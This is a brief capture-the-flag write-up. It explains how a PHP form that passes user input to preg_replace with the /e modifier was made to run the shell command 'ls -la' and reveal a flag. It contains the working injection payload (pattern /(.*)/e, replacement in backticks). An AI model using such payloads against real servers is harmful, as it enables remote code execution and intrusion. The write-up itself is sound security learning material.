# Irregular Expression
This page contains form, we can send regex, text and string to replace. This replace function will be processed by backend `php`. and I remembered one CTF writeup, in which PHP's `preg_match` function was vulnerable to Remote Code Execution.
So in the regex, if we use `/e` modifier and the shell command we can get RCE!![test](2.png)
So I submitted* pattern = /(.*)/e* replace = \`ls+-la\` * text = test
![ls](3.png)
And found that that file contains the flag
![Flag](4.png)
> ### LLS{php_preg_replace_may_be_dangerous}